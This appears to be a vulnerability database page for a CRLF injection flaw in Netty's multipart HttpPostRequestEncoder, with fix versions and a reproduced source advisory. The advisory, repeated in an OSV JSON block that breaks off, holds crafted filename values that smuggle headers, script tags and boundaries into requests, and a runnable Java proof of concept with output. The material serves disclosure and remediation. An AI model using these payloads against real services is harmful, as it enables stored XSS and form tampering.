CVE-2026-59921: Netty CRLF Injection Vulnerability
MODERATE
Advisory Identifier:
GHSA-gcjf-9mgh-3p7g
Advisory Summary
CVE-2026-59921 is a MODERATE (CVSS 5.7) crlf injection vulnerability (CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')) affecting Netty libraries in the Maven ecosystem. The issue involves crlf injection via multipart filename in netty httppostrequestencoder. Remediation is available by upgrading affected packages to version 4.2.16.Final, 4.1.136.Final.
CVE-2026-59921 at a Glance
CVE Identifier
CVE-2026-59921
GHSA Identifier
GHSA-gcjf-9mgh-3p7g
Severity
MODERATE
CVSS v3.1 Base Score
5.7
CWE Classification
CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')
Affected Product
Netty
Package Ecosystem
Maven
Published Date
Last Updated
Security Impact
CVSS: 5.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N).
Attack Vector
Adjacent (AV:A)
Attack Complexity
Low (AC:L)
Privileges Required
Low (PR:L)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
None (C:N)
Integrity
High (I:H)
Availability
None (A:N)
How to Fix CVE-2026-59921
To remediate this vulnerability, upgrade all affected Netty dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
io.netty:netty-codec-http
fixed: 4.2.16.Final
<dependency>
<groupId>io.netty</groupId>
<artifactId>netty-codec-http</artifactId>
<version>4.2.16.Final</version>
</dependency>
io.netty:netty-codec-http
fixed: 4.1.136.Final
<dependency>
<groupId>io.netty</groupId>
<artifactId>netty-codec-http</artifactId>
<version>4.1.136.Final</version>
</dependency>
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=io.nettyHow to Check if You Are Affected
To determine whether your Java application is affected by CVE-2026-59921, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=io.nettyAnalyze the terminal output to locate any version of Netty in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.2.16.Final), your application is affected.
Note: The mvn dependency:tree -Dincludes=io.netty command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection'), where the product uses crlf (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes crlf sequences from inputs. In Netty, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
# Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder
## 1. Vulnerability Summary
| Field | Value |
|-------|-------|
| **Product** | Netty |
| **Version** | 4.2.12.Final (and all prior versions with codec-http multipart) |
| **Component** | `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` |
| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting |
| **Impact** | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition |
| **CVSS 3.1 Score** | **8.1 (High)** |
| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |
| **Attack Vector** | Network |
| **Attack Complexity** | Low |
| **Privileges Required** | Low (attacker must be able to upload files with controlled filenames) |
| **User Interaction** | None |
| **Scope** | Unchanged |
| **Confidentiality Impact** | High |
| **Integrity Impact** | High |
| **Availability Impact** | None |
## 2. Affected Components
The following classes in the `codec-http` module are affected:
- `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` — directly concatenates unvalidated filename/name into `Content-Disposition` MIME headers (lines 519, 633, 674, 682, 686-688)
- `io.netty.handler.codec.http.multipart.DiskFileUpload` — `setFilename()` only checks null (line 78)
- `io.netty.handler.codec.http.multipart.MemoryFileUpload` — `setFilename()` only checks null (line 60)
- `io.netty.handler.codec.http.multipart.MixedFileUpload` — `setFilename()` delegates without validation (line 62)
## 3. Vulnerability Description
Netty's `HttpPostRequestEncoder` constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into `Content-Disposition` MIME headers **without validating or sanitizing CRLF characters** (`\r\n`). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.
### Root Cause
In `HttpPostRequestEncoder.java`, multiple code paths directly embed `fileUpload.getFilename()` into header strings:
```java
// Line 674 (attachment mode):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": "
+ HttpHeaderValues.ATTACHMENT + "; "
+ HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");
// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION
// Lines 686-688 (form-data mode):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "
+ HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; "
+ HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");
// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION
// Line 519 (attribute name):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "
+ HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n");
// ^^^^^^^^^^^^^^^^^ NO VALIDATION
```
The `setFilename()` method in all `FileUpload` implementations only checks for null:
```java
// DiskFileUpload.java:77-79
public void setFilename(String filename) {
this.filename = ObjectUtil.checkNotNull(filename, "filename");
// NO CRLF VALIDATION
}
```
### Comparison with Similar Fixed CVEs
This vulnerability follows the same pattern as:
| CVE | Component | Fix |
|-----|-----------|-----|
| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in `SmtpUtils.validateSMTPParameters()` |
| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder — CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` |
The multipart encoder has **no equivalent validation** for filenames or field names.
## 4. Exploitability Prerequisites
This vulnerability is exploitable when:
1. The application uses Netty's `HttpPostRequestEncoder` to construct multipart HTTP requests
2. The filename of an uploaded file is derived from user-controlled input
3. The application does **not** perform its own CRLF sanitization on filenames
**Common affected patterns**:
- File upload proxies that forward user-supplied filenames
- API gateways that construct multipart requests from incoming parameters
- Microservice communication that passes filenames between services
- Testing/automation frameworks that use Netty HTTP client with user-defined filenames
## 5. Attack Scenarios
### Scenario 1: Content-Type Override via Filename Injection
An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:
```java
String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--";
DiskFileUpload upload = new DiskFileUpload(
"avatar", maliciousFilename, "image/jpeg", "binary", UTF_8, fileSize);
```
**Wire format:**
```
--boundary
content-disposition: form-data; name="avatar"; filename="photo.jpg"
Content-Type: text/html <-- INJECTED: overrides image/jpeg
<script>alert(document.cookie)</script> <-- INJECTED: XSS payload
--"
content-type: image/jpeg <-- Original (now ignored by many parsers)
...
```
If the receiving server parses the **first** `Content-Type`, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.
### Scenario 2: Arbitrary MIME Header Injection
```java
String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true";
```
Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.
### Scenario 3: Multipart Boundary Confusion
```java
String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret";
```
By injecting a new boundary delimiter, the attacker can:
- Terminate the current body part prematurely
- Start a new body part with a different field name
- Override form fields processed by the server
## 6. Proof of Concept
### Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)
```java
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.handler.codec.http.*;
import io.netty.handler.codec.http.multipart.*;
import java.io.File;
import java.io.FileWriter;
import java.nio.charset.StandardCharsets;
/**
* PoC: HTTP Multipart Content-Disposition Header Injection via Filename
*
* Demonstrates that HttpPostRequestEncoder does not validate filenames
* for CRLF characters, allowing injection of arbitrary MIME headers
* into multipart form data.
*/
public class MultipartFilenameInjectionPoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n");
testFilenameInjection();
System.out.println("\n=== PoC Complete ===");
}
static void testFilenameInjection() throws Exception {
System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition");
System.out.println("-------------------------------------------------------");
// Create a temporary file for upload
File tempFile = File.createTempFile("test", ".txt");
tempFile.deleteOnExit();
try (FileWriter fw = new FileWriter(tempFile)) {
fw.write("test content");
}
// Malicious filename with CRLF to inject Content-Type header
String maliciousFilename =
"innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" +
"<script>alert(1)</script>\r\n--";
HttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.POST, "/upload");
HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(
new DefaultHttpDataFactory(false), request, true,
StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);
DiskFileUpload fileUpload = new DiskFileUpload(
"file", maliciousFilename, "application/octet-stream",
"binary", StandardCharsets.UTF_8, tempFile.length());
fileUpload.setContent(tempFile);
encoder.addBodyHttpData(fileUpload);
encoder.finalizeRequest();
// Read the encoded multipart body
StringBuilder body = new StringBuilder();
while (!encoder.isEndOfInput()) {
HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());
if (chunk != null) {
body.append(chunk.content().toString(StandardCharsets.UTF_8));
chunk.release();
}
}
encoder.cleanFiles();
String encoded = body.toString();
System.out.println("Malicious filename: " +
maliciousFilename.replace("\r", "\\r").replace("\n", "\\n"));
System.out.println();
System.out.println("Encoded multipart body:");
System.out.println("---");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("---");
boolean hasInjectedHeader = encoded.contains("X-Injected: true");
boolean hasInjectedScript = encoded.contains("<script>");
System.out.println();
System.out.println("Injected X-Injected header: " + hasInjectedHeader);
System.out.println("Injected script tag: " + hasInjectedScript);
System.out.println("VULNERABLE: " +
((hasInjectedHeader || hasInjectedScript) ?
"YES - MIME header injection!" : "NO"));
tempFile.delete();
}
}
```
### How to Compile and Run
```bash
# Build Netty (skip tests)
./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \
-Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \
-Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \
-Dspotbugs.skip=true -q
# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Compile and run
javac -cp "$JARS" MultipartFilenameInjectionPoC.java
java -cp "$JARS:." MultipartFilenameInjectionPoC
```
### PoC Execution Output (Verified on Netty 4.2.12.Final)
```
=== Netty Multipart Filename CRLF Injection PoC ===
[TEST 1] Filename CRLF Injection in Content-Disposition
-------------------------------------------------------
Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n--
Encoded multipart body:
---
--88aaade41dbb9f9f\r
content-disposition: form-data; name="file"; filename="innocent.txt"\r
Content-Type: text/html\r <-- INJECTED
X-Injected: true\r <-- INJECTED
\r
<script>alert(1)</script>\r <-- INJECTED XSS
--"\r
content-length: 12\r
content-type: application/octet-stream\r
content-transfer-encoding: binary\r
\r
test content\r
--88aaade41dbb9f9f--\r
---
Injected X-Injected header: true
Injected script tag: true
VULNERABLE: YES - MIME header injection!
=== PoC Complete ===
```
## 7. Impact Analysis
| Impact Category | Description |
|----------------|-------------|
| **Confidentiality** | HIGH — Injected headers may bypass access controls or leak tokens |
| **Integrity** | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation |
| **Content-Type Spoofing** | Override `application/octet-stream` to `text/html` to serve executable content |
| **Stored XSS** | Inject `<script>` tags via Content-Type override when uploaded files are served back |
| **Form Field Override** | Inject new multipart boundaries to create/override form fields |
| **Downstream Injection** | Custom MIME headers may affect middleware, CDN, or storage layer behavior |
## 8. Remediation Recommendations
### Option 1: Validate in FileUpload.setFilename() (Recommended)
```java
// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java
public void setFilename(String filename) {
ObjectUtil.checkNotNull(filename, "filename");
for (int i = 0; i < filename.length(); i++) {
char c = filename.charAt(i);
if (c == '\r' || c == '\n') {
throw new IllegalArgumentException(
"filename contains prohibited CRLF character at index " + i);
}
}
this.filename = filename;
}
```
### Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)
Escape or reject CRLF characters when building Content-Disposition headers:
```java
// HttpPostRequestEncoder.java - add helper method
private static String sanitizeHeaderParam(String value) {
for (int i = 0; i < value.length(); i++) {
char c = value.charAt(i);
if (c == '\r' || c == '\n' || c == '"') {
throw new ErrorDataEncoderException(
"Multipart parameter contains prohibited character at index " + i);
}
}
return value;
}
// Then use in Content-Disposition construction:
internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n");
```
### Option 3: RFC 2231/5987 Encoding for Filenames
Use proper RFC 2231 encoding for filenames with special characters:
```java
// Encode filename per RFC 5987:
// filename*=UTF-8''encoded%20filename
String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8");
internal.addValue(... + "filename*=" + encodedFilename + "\r\n");
```
## 9. References
- [RFC 2183: Content-Disposition Header Field](https://tools.ietf.org/html/rfc2183)
- [RFC 7578: Returning Values from Forms: multipart/form-data](https://tools.ietf.org/html/rfc7578)
- [RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters](https://tools.ietf.org/html/rfc5987)
- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)
- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)
- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)
- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)
CVE-2026-59921 Affected Netty Versions
2 component(s)
Fixed Versions:
4.2.16.Final4.1.136.Final
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
io.netty:netty-codec-http
|
Maven |
≥ 4.2.0.Final
< 4.2.16.Final
|
4.2.16.Final
|
|
io.netty:netty-codec-http
|
Maven |
< 4.1.136.Final
|
4.1.136.Final
|
References
Netty Source Repository
REPOSITORY
https://github.com/netty/netty
GitHub Advisory / Wiki
ADVISORY
https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g
Netty Release
RELEASE
https://github.com/netty/netty/releases/tag/netty-4.1.136.Final
Netty Release
RELEASE
https://github.com/netty/netty/releases/tag/netty-4.2.16.Final
Frequently Asked Questions
What is CVE-2026-59921?
CVE-2026-59921 is a security vulnerability in Netty involving CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection').
Which Netty versions are affected?
Affected versions include releases prior to 4.2.16.Final, 4.1.136.Final across affected packages: io.netty:netty-codec-http.
What version fixes CVE-2026-59921?
Upgrading to 4.2.16.Final, 4.1.136.Final (or the latest patched release for your respective branch) resolves the vulnerability.
Is netty-codec-http affected?
Yes, io.netty:netty-codec-http is affected in releases prior to 4.2.16.Final, 4.1.136.Final. Upgrade your dependency to 4.2.16.Final, 4.1.136.Final or later.
What is the CVSS score of CVE-2026-59921?
CVE-2026-59921 has a CVSS v3.1 base score of 5.7 (MODERATE) with vector string CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-59921?
CVE-2026-59921 is classified under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.).
How can I check Maven dependencies for CVE-2026-59921?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=io.netty'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-gcjf-9mgh-3p7g",
"modified" : "2026-07-22T21:52:55Z",
"published" : "2026-07-22T21:52:55Z",
"aliases" : [ "CVE-2026-59921" ],
"summary" : "Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder",
"details" : "# Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-http multipart) |\n| **Component** | `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting |\n| **Impact** | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition |\n| **CVSS 3.1 Score** | **8.1 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low (attacker must be able to upload files with controlled filenames) |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-http` module are affected:\n\n- `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` — directly concatenates unvalidated filename/name into `Content-Disposition` MIME headers (lines 519, 633, 674, 682, 686-688)\n- `io.netty.handler.codec.http.multipart.DiskFileUpload` — `setFilename()` only checks null (line 78)\n- `io.netty.handler.codec.http.multipart.MemoryFileUpload` — `setFilename()` only checks null (line 60)\n- `io.netty.handler.codec.http.multipart.MixedFileUpload` — `setFilename()` delegates without validation (line 62)\n\n## 3. Vulnerability Description\n\nNetty's `HttpPostRequestEncoder` constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into `Content-Disposition` MIME headers **without validating or sanitizing CRLF characters** (`\\r\\n`). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.\n\n### Root Cause\n\nIn `HttpPostRequestEncoder.java`, multiple code paths directly embed `fileUpload.getFilename()` into header strings:\n\n```java\n// Line 674 (attachment mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \"\n + HttpHeaderValues.ATTACHMENT + \"; \"\n + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Lines 686-688 (form-data mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n + HttpHeaderValues.NAME + \"=\\\"\" + fileUpload.getName() + \"\\\"; \"\n + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Line 519 (attribute name):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n + HttpHeaderValues.NAME + \"=\\\"\" + attribute.getName() + \"\\\"\\r\\n\");\n// ^^^^^^^^^^^^^^^^^ NO VALIDATION\n```\n\nThe `setFilename()` method in all `FileUpload` implementations only checks for null:\n\n```java\n// DiskFileUpload.java:77-79\npublic void setFilename(String filename) {\n this.filename = ObjectUtil.checkNotNull(filename, \"filename\");\n // NO CRLF VALIDATION\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the same pattern as:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in `SmtpUtils.validateSMTPParameters()` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder — CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` |\n\nThe multipart encoder has **no equivalent validation** for filenames or field names.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. The application uses Netty's `HttpPostRequestEncoder` to construct multipart HTTP requests\n2. The filename of an uploaded file is derived from user-controlled input\n3. The application does **not** perform its own CRLF sanitization on filenames\n\n**Common affected patterns**:\n- File upload proxies that forward user-supplied filenames\n- API gateways that construct multipart requests from incoming parameters\n- Microservice communication that passes filenames between services\n- Testing/automation frameworks that use Netty HTTP client with user-defined filenames\n\n## 5. Attack Scenarios\n\n### Scenario 1: Content-Type Override via Filename Injection\n\nAn attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:\n\n```java\nString maliciousFilename = \"photo.jpg\\\"\\r\\nContent-Type: text/html\\r\\n\\r\\n<script>alert(document.cookie)</script>\\r\\n--\";\n\nDiskFileUpload upload = new DiskFileUpload(\n \"avatar\", maliciousFilename, \"image/jpeg\", \"binary\", UTF_8, fileSize);\n```\n\n**Wire format:**\n```\n--boundary\ncontent-disposition: form-data; name=\"avatar\"; filename=\"photo.jpg\"\nContent-Type: text/html <-- INJECTED: overrides image/jpeg\n\n<script>alert(document.cookie)</script> <-- INJECTED: XSS payload\n--\"\ncontent-type: image/jpeg <-- Original (now ignored by many parsers)\n...\n```\n\nIf the receiving server parses the **first** `Content-Type`, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.\n\n### Scenario 2: Arbitrary MIME Header Injection\n\n```java\nString filename = \"doc.pdf\\\"\\r\\nX-Custom-Auth: admin-token-12345\\r\\nX-Bypass-Check: true\";\n```\n\nInjects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.\n\n### Scenario 3: Multipart Boundary Confusion\n\n```java\nString filename = \"file.txt\\\"\\r\\n\\r\\nmalicious body content\\r\\n--boundary\\r\\nContent-Disposition: form-data; name=\\\"secret\";\n```\n\nBy injecting a new boundary delimiter, the attacker can:\n- Terminate the current body part prematurely\n- Start a new body part with a different field name\n- Override form fields processed by the server\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.handler.codec.http.*;\nimport io.netty.handler.codec.http.multipart.*;\n\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.nio.charset.StandardCharsets;\n\n/**\n * PoC: HTTP Multipart Content-Disposition Header Injection via Filename\n *\n * Demonstrates that HttpPostRequestEncoder does not validate filenames\n * for CRLF characters, allowing injection of arbitrary MIME headers\n * into multipart form data.\n */\npublic class MultipartFilenameInjectionPoC {\n\n public static void main(String[] args) throws Exception {\n System.out.println(\"=== Netty Multipart Filename CRLF Injection PoC ===\\n\");\n\n testFilenameInjection();\n\n System.out.println(\"\\n=== PoC Complete ===\");\n }\n\n static void testFilenameInjection() throws Exception {\n System.out.println(\"[TEST 1] Filename CRLF Injection in Content-Disposition\");\n System.out.println(\"-------------------------------------------------------\");\n\n // Create a temporary file for upload\n File tempFile = File.createTempFile(\"test\", \".txt\");\n tempFile.deleteOnExit();\n try (FileWriter fw = new FileWriter(tempFile)) {\n fw.write(\"test content\");\n }\n\n // Malicious filename with CRLF to inject Content-Type header\n String maliciousFilename =\n \"innocent.txt\\\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\" +\n \"<script>alert(1)</script>\\r\\n--\";\n\n HttpRequest request = new DefaultHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.POST, \"/upload\");\n\n HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(\n new DefaultHttpDataFactory(false), request, true,\n StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);\n\n DiskFileUpload fileUpload = new DiskFileUpload(\n \"file\", maliciousFilename, \"application/octet-stream\",\n \"binary\", StandardCharsets.UTF_8, tempFile.length());\n fileUpload.setContent(tempFile);\n\n encoder.addBodyHttpData(fileUpload);\n encoder.finalizeRequest();\n\n // Read the encoded multipart body\n StringBuilder body = new StringBuilder();\n while (!encoder.isEndOfInput()) {\n HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());\n if (chunk != null) {\n body.append(chunk.content().toString(StandardCharsets.UTF_8));\n chunk.release();\n }\n }\n encoder.cleanFiles();\n\n String encoded = body.toString();\n System.out.println(\"Malicious filename: \" +\n maliciousFilename.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\"));\n System.out.println();\n System.out.println(\"Encoded multipart body:\");\n System.out.println(\"---\");\n for (String line : encoded.split(\"\\n\", -1)) {\n System.out.println(\" \" + line.replace(\"\\r\", \"\\\\r\"));\n }\n System.out.println(\"---\");\n\n boolean hasInjectedHeader = encoded.contains(\"X-Injected: true\");\n boolean hasInjectedScript = encoded.contains(\"<script>\");\n System.out.println();\n System.out.println(\"Injected X-Injected header: \" + hasInjectedHeader);\n System.out.println(\"Injected script tag: \" + hasInjectedScript);\n System.out.println(\"VULNERABLE: \" +\n ((hasInjectedHeader || hasInjectedScript) ?\n \"YES - MIME header injection!\" : \"NO\"));\n\n tempFile.delete();\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests)\n./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \\\n -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \\\n -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \\\n -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr '\\n' ':')\n\n# Compile and run\njavac -cp \"$JARS\" MultipartFilenameInjectionPoC.java\njava -cp \"$JARS:.\" MultipartFilenameInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Multipart Filename CRLF Injection PoC ===\n\n[TEST 1] Filename CRLF Injection in Content-Disposition\n-------------------------------------------------------\nMalicious filename: innocent.txt\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n<script>alert(1)</script>\\r\\n--\n\nEncoded multipart body:\n---\n --88aaade41dbb9f9f\\r\n content-disposition: form-data; name=\"file\"; filename=\"innocent.txt\"\\r\n Content-Type: text/html\\r <-- INJECTED\n X-Injected: true\\r <-- INJECTED\n \\r\n <script>alert(1)</script>\\r <-- INJECTED XSS\n --\"\\r\n content-length: 12\\r\n content-type: application/octet-stream\\r\n content-transfer-encoding: binary\\r\n \\r\n test content\\r\n --88aaade41dbb9f9f--\\r\n---\n\nInjected X-Injected header: true\nInjected script tag: true\nVULNERABLE: YES - MIME header injection!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH — Injected headers may bypass access controls or leak tokens |\n| **Integrity** | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation |\n| **Content-Type Spoofing** | Override `application/octet-stream` to `text/html` to serve executable content |\n| **Stored XSS** | Inject `<script>` tags via Content-Type override when uploaded files are served back |\n| **Form Field Override** | Inject new multipart boundaries to create/override form fields |\n| **Downstream Injection** | Custom MIME headers may affect middleware, CDN, or storage layer behavior |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in FileUpload.setFilename() (Recommended)\n\n```java\n// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java\npublic void setFilename(String filename) {\n ObjectUtil.checkNotNull(filename, \"filename\");\n for (int i = 0; i < filename.length(); i++) {\n char c = filename.charAt(i);\n if (c == '\\r' || c == '\\n') {\n throw new IllegalArgumentException(\n \"filename contains prohibited CRLF character at index \" + i);\n }\n }\n this.filename = filename;\n}\n```\n\n### Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)\n\nEscape or reject CRLF characters when building Content-Disposition headers:\n\n```java\n// HttpPostRequestEncoder.java - add helper method\nprivate static String sanitizeHeaderParam(String value) {\n for (int i = 0; i < value.length(); i++) {\n char c = value.charAt(i);\n if (c == '\\r' || c == '\\n' || c == '\"') {\n throw new ErrorDataEncoderException(\n \"Multipart parameter contains prohibited character at index \" + i);\n }\n }\n return value;\n}\n\n// Then use in Content-Disposition construction:\ninternal.addValue(... + \"=\\\"\" + sanitizeHeaderParam(fileUpload.getFilename()) + \"\\\"\\r\\n\");\n```\n\n### Option 3: RFC 2231/5987 Encoding for Filenames\n\nUse proper RFC 2231 encoding for filenames with special characters:\n\n```java\n// Encode filename per RFC 5987:\n// filename*=UTF-8''encoded%20filename\nString encodedFilename = \"UTF-8''\" + URLEncoder.encode(filename, \"UTF-8\");\ninternal.addValue(... + \"filename*=\" + encodedFilename + \"\\r\\n\");\n```\n\n## 9. References\n\n- [RFC 2183: Content-Disposition Header Field](https://tools.ietf.org/html/rfc2183)\n- [RFC 7578: Returning Values from 